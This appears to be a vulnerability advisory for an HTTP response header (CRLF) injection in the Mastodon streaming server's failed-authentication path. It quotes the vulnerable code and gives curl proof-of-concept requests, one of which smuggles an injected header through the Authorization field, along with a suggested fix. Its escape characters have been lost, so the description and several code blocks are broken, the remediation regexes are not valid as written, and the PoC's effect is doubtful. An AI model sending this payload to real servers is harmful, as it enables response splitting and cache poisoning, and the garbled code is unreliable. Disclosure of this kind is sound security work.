CVE-2026-XXXXX: HTTP Response Header Injection (CRLF) in Mastodon Streaming Server

Vulnerability Overview

Vulnerability Description

When a WebSocket upgrade request fails authentication, the Mastodon Streaming Server at streaming/index.js lines 188-206 constructs a manual HTTP response and writes errorMessage directly into the X-Error-Message response header via socket.end() WITHOUT sanitizing or characters.

This allows an unauthenticated remote attacker to inject arbitrary HTTP headers or perform HTTP Response Splitting.

Vulnerable Code (streaming/index.js lines 188-206)

const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

Impact

• HTTP Header Injection: Inject arbitrary HTTP headers
• HTTP Response Splitting: Inject second HTTP response body (cache poisoning)
• Information Disclosure: Internal error messages exposed to unauthenticated users

Proof of Concept

PoC 1 - Basic Detection

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

Expected: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - CRLF Injection

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

Remediation

Sanitize errorMessage before writing to socket header:

const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

Timeline

References

• https://github.com/mastodon/mastodon
• https://cwe.mitre.org/data/definitions/74.html

Disclaimer: This PoC is for educational and security research purposes only.